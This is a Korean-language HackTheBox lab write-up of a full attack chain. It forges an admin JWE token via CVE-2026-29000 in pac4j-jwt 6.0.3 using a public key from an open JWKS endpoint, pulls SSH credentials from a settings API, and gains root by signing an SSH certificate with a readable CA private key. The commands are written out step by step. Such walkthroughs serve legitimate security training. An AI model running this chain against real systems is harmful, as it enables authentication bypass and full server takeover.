
# CVE-2026-29000 악용 상세 분석: pac4j-jwt 인증 우회, API 설정에서 자격 증명 추출, HackTheBox Linux 머신에서 SSH CA 서명을 통한 권한 상승
난이도: 중간 OS: Linux 플랫폼: HackTheBox
pac4j-jwt v6.0.3을 실행하는 웹 애플리케이션 — CVE-2026-29000에 취약합니다. 공개 RSA 키는 JWKS 엔드포인트를 통해 인증 없이 노출되며, 이를 사용하여 유효한 관리자 JWE 토큰을 위조하여 인증을 완전히 우회할 수 있습니다. 관리자 액세스 권한으로 설정 API에서 평문 SSH 자격 증명을 획득합니다. 서비스 계정은 deployers 그룹의 구성원이며 sshd가 신뢰하는 SSH CA 개인 키에 대한 읽기 액세스 권한이 있습니다 — root 액세스를 부여하는 인증서에 서명하면 박스가 완료됩니다.
웹 애플리케이션을 탐색하고 페이지 소스를 확인했습니다. /static/js/app.js에서 주요 JavaScript 번들을 찾았습니다.
app.js 내부에서 식별된 주요 API 엔드포인트:
/api/auth/login
/api/auth/jwks <- 공개 키 엔드포인트 (인증 없음)
/api/dashboard
/api/users
/api/settings
페이지 바닥글에서 pac4j-jwt v6.0.3 — CVE-2026-29000에 취약함을 확인했습니다.
인증되지 않은 JWKS 엔드포인트에서 RSA 공개 키를 가져왔습니다:
curl http://<TARGET_IP>:8080/api/auth/jwks
# RSA 공개 키 반환 (kid: enc-key-1)
CVE-2026-29000은 공개 키를 사용하여 유효한 JWE 토큰을 위조할 수 있게 합니다 — 라이브러리가 개인 키를 요구하는 대신 공개 키로 암호화된 토큰을 잘못 수락합니다.
PoC를 사용하여 위조된 관리자 토큰을 생성했습니다:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Burp Repeater에서 위조된 토큰을 Bearer 토큰으로 사용했습니다:
Authorization: Bearer <forged_token>
GET /api/dashboard → 200 OK
ROLE_ADMINsvc-deploy에 대한 CERT_ISSUED 작업이 표시됨GET /api/settings → 200 OK
/opt/principal/ssh//api/settings에서 획득한 자격 증명으로 SSH 접속:
ssh svc-deploy@<TARGET_IP>
사용자 플래그 획득.
svc-deploy는 deployers 그룹에 속하며 /opt/principal/ssh/에 대한 읽기 액세스 권한이 있습니다:
ls -la /opt/principal/ssh/
# ca — RSA 4096비트 CA 개인 키 (deployers가 읽을 수 있음)
# ca.pub — CA 공개 키
# README.txt — CA가 sshd에 의해 신뢰됨을 확인
CA 개인 키를 읽을 수 있습니다. sshd가 이 CA를 신뢰하므로, 이 CA가 서명한 모든 인증서는 root 액세스를 부여하는 인증서를 포함하여 수락됩니다.
# 새 키페어 생성
ssh-keygen -t ed25519 -f /tmp/privesc
# CA로 서명하여 principal 'root' 부여
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# root로 SSH 접속
ssh -i /tmp/privesc root@<TARGET_IP>
Root 플래그 획득.
/home/svc-deploy/user.txt/root/root.txt